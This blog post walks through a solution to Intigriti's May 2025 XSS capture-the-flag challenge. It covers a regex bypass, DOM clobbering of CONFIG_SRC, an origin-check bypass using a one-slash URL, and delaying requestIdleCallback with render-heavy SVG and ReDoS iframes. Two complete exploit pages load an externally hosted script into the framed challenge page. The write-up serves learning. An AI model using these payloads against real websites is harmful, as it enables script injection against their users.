Post

Intigriti January Challenge 0525

Intigriti January Challenge 0525

I thoroughly enjoyed tackling this month’s CTF challenge hosted by @Intigriti and skillfully crafted by @joaxcar. It took me about six hours to solve from start to finish.

Let’s dive right in —

🔍 Here’s the code we needed to exploit with an XSS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// utils
function safeURL(url){
 let normalizedURL = new URL(url, location)
 return normalizedURL.origin === location.origin
}

function addDynamicScript() {
    const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"
    if(safeURL(src)){
        const script = document.createElement('script');
        script.src = new URL(src);
        document.head.appendChild(script);
    }
}

// main
(function(){
    const params = new URLSearchParams(window.location.search);
    const name = params.get('name');

    if (name && name.match(/([a-zA-Z0-9]+|\s)+$/)) {
        const messageDiv = document.getElementById('message');
        const spinner = document.createElement('div');
        spinner.classList.add('spinner');
        messageDiv.appendChild(spinner);

        fetch(`/message?name=${encodeURIComponent(name)}`)
        .then(response => response.text())
        .then(data => {
            spinner.remove();
            messageDiv.innerHTML = DOMPurify.sanitize(data);
        })
        .catch(err => {
            spinner.remove();
            messageDiv.innerHTML = "Error fetching message.";
            console.error('Error fetching message:', err);
        });
        
    } else if(name) {
        const messageDiv = document.getElementById('message');
        messageDiv.innerHTML = "Error when parsing name";
    }

    // Load some non-misison-critical content
    requestIdleCallback(addDynamicScript);
})();

👀 Initial Observations

Initially, it seemed quite challenging and secure—with origin validation and the OG DOMPurify, bypassing it looked nearly impossible. However, as I examined the code line by line, the very first thing that caught my attention was this:

1
const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"

This part seemed suspicious, and I quickly understood that DOM clobbering would be needed to define CONFIG_SRC. At first, I tried injecting HTML elements, but the regex filter blocked those attempts. However, on closer inspection, I realized the regex was bypassable—it lacked a ^ anchor, so it didn’t enforce checks from the input’s start. For example, a string like </strong> Some text would pass because the regex only validates from where it begins to “make sense.” After bypassing the regex, I was eager to inject elements into the DOM. To clobber CONFIG_SRC, I inserted a div with an id of CONFIG_SRC and a custom data attribute, like this:

1
<div id='CONFIG_SRC' data-url='https://example.com'>

⏱️ The requestIdleCallback and Origin validation Problem

data-url was used because the JS was trying to get the URL from the dataset attribute named url. I injected the above payload and was pretty confident it would work, but it didn’t. While debugging, I found that window.CONFIG_SRC was still undefined even though the element existed in the DOM. I was like, what the heck? If it’s in the DOM, why isn’t it working? After a while, I noticed that addDynamicScript was used as a callback to this strange function requestIdleCallback. I tried researching it, but there isn’t much info online. From the MDN docs, I understood that it calls a function only when the event loop is idle—basically to run non-essential tasks without blocking the main thread during busy rendering or other important operations. I realized it runs when the fetch request is sent and waiting for a response. Since fetch is asynchronous and doesn’t block the main thread, the thread remains mostly free while fetch waits, so addDynamicScript executes before the fetch completes.

After hours of frustration, I concluded I had to delay the execution of addDynamicScript by keeping the main thread busy for a while. I tried messing with the regex to trigger a ReDoS attack, but that didn’t work at the time (more on this later). I also considered speeding up the fetch call instead. This is where caching helped: I injected a cache header via Burp, retried the attack, and it worked because the fetch response came almost instantly. The tricky part was figuring out how to get it cached. After struggling, I realized it was a rabbit hole and decided to use Burp’s custom header injection to let the cache work and move on to the next step—bypassing the origin check done in safeURL.

1
2
3
4
5
6
7
8
9
10
11
12
13
function safeURL(url){
 let normalizedURL = new URL(url, location)
 return normalizedURL.origin === location.origin
}

function addDynamicScript() {
    const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"
    if(safeURL(src)){
        const script = document.createElement('script');
        script.src = new URL(src);
        document.head.appendChild(script);
    }
}

I had an inkling that this could be bypassed due to differences in how the URL constructor was implemented in the two functions—I was sure there had to be some inconsistency. I quickly opened devtools and started debugging the variable values. After about an hour of debugging and fuzzing, I managed to bypass it with this payload:

1
https:/example.com/

Notice that only one / is used after https:, which tricks the URL constructor into treating it as a relative URL and appending it to window.location. When it compares the origins of both URLs, they appear the same. But if the URL is passed without an origin, the constructor is forced to parse and correct the / issue. Voilà! This bypasses the origin check, allowing a JS file hosted on any domain to serve as our XSS payload and trigger an alert. However, it wasn’t that simple—I still had to bypass the requestIdleCallback mechanism.

At this point, I looked for hints posted by Intigriti, but none made sense to me at the time. The only takeaway was that I needed to manipulate some form of window isolation or something along those lines.

1
You are keeping your windows isolated right?

I wasn’t quite sure what the hints were pointing to at first. Then I noticed the page didn’t have any headers or protections against framing. I figured framing might help, so I tried framing it and loaded some render-heavy elements to keep the event loop busy. After some attempts, I managed to trigger an alert in Chrome. But from the Discord server, I knew the real nightmare was getting it to work on Firefox. Sure enough, it didn’t work there.

🌐 Exploit - Chrome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Exploit</title>
  </head>
  <body>
    <iframe
      width="100%"
      height="500%"
      src="https://challenge-0525.intigriti.io/index.html?name=%3C/strong%3E%3Cdiv%20id=CONFIG_SRC%20data-url=%22https:/temp.staticsave.com/6821d52de70e4.js%22%3Ell%3C/div%3Edcsd"
    ></iframe>
    <div class="container"></div>

    <script>
      async function run() {
        var ele = ` <svg width="10000" height="10000">
        <g>
          <circle cx="1" cy="1" r="1" fill="red" />
          <circle cx="2" cy="2" r="1" fill="blue" />
          <circle cx="3" cy="3" r="1" fill="green" />
        </g>
      </svg>`;
        var container = document.querySelector(".container");
        container.innerHTML = ele;
        // This will force the browser to render the SVG
        // and block the main thread
        for (var i = 0; i < 1200; i++) {
          container.innerHTML += ele;
        }
      }
      setTimeout(run, 2);
    </script>
  </body>
</html>

🧩 The Final Puzzle — Firefox

Side note: when I do CTFs or hack, I follow a general approach — first get the idea, then implement it; if it fails, dig into the root cause, fix it if possible, or move on. So I tested the idea in Firefox, it failed, and I got curious why. After digging deeper, I concluded Firefox runs the challenge frame in a separate thread because the parent and child are cross-origin. It’s not that simple, but for brevity, let’s assume it’s due to the cross-origin nature of the parent page and child frame (more here).

This left me stumped. I tried finding gadgets on the challenge page to bridge the gap, but there were none, and from the cross-origin parent page, I had no way to influence that other thread.

I reached out to Johan and he told me what I was looking for was in the hints. For some reason, my brain immediately flashed back to an error I’d seen earlier while messing with the regex. The error was:

1
Uncaught InternalError: too much recursion

This happened because the name parameter was too long for the regex to process, causing the thread to stay busy. I realized this was the solution and quickly started implementing it. After several attempts, I managed to trigger the XSS by framing multiple ReDoS payloads along with one frame containing the actual XSS payload.

🧨 The dirty Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Exploit</title>
  </head>
  <body>
    <iframe
      width="50%"
      height="100%"
      src="https://challenge-0525.intigriti.io/index.html?name=%3C/strong%3E%3Cdiv%20id=CONFIG_SRC%20data-url=%22https:/temp.staticsave.com/6821d52de70e4.js%22%3Ell%3C/div%3Edcsd"
    ></iframe>
    <div class="container"></div>

    <script>
      function addRedosFrames() {
        var ele = `<iframe
      width="50%"
      height="100%"
      src="https://challenge-0525.intigriti.io/index.html?name=wededwedwedwed25%32%36%25%36%34%25%36%ewdewedwedwedwedwedwedwededw33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%25%33%33%25%33%31%25%33%39%25%33%32%25%32%36%25%35%65%25%32%35%25%35%65%25%32%36%25%32%61%25%32%38%25%32%39%25%32%39%25%32%38%25%32%61%25%32%36%25%35%65%25%32%35%25%32%34%25%32%33%25%34%30%25%32%36%25%36%34%25%36%33%25%37%33%25%36%34%25%36%33%25%36%34%25%36%33%25%37%33%25%36%33%25%37%33%25%36%34%25%36%34%25%33%39%25%33%33%25%33%30%25%33%38%25%33%32%25%33%33%25%33%37%25%36%65%25%33%32%25%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%255%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%%33%38%5%33%33%25%33%37%25%33%34%25%33%34%25%33%39%25%33%33%25%33%32%25%33%34%25%33%32%25%33%33%25%33%34%25%33%39%25%33%37%25%33%33%25%33%30%25%33%30%25%33%31%25%33%32%25%33%38%5%ffsdcdcsdsdcsdcdscdcsccsdcsdcscsdcd9876543456&&name=dcsdcscdsc"
    ></iframe>`;
        var container = document.querySelector(".container");
        container.innerHTML = ele;
        for (var i = 0; i < 5; i++) {
          container.innerHTML += ele;
        }
      }

      setTimeout(addRedosFrames, 50);
    </script>
  </body>
</html>

✅ Summary

This challenge tested everything—DOM clobbering, timing issues, browser parsing quirks, and cross-browser compatibility. Major props to @joaxcar for crafting such a clever scenario.

Until next time, happy hacking! 🐞

This post is licensed under CC BY 4.0 by the author.

Trending Tags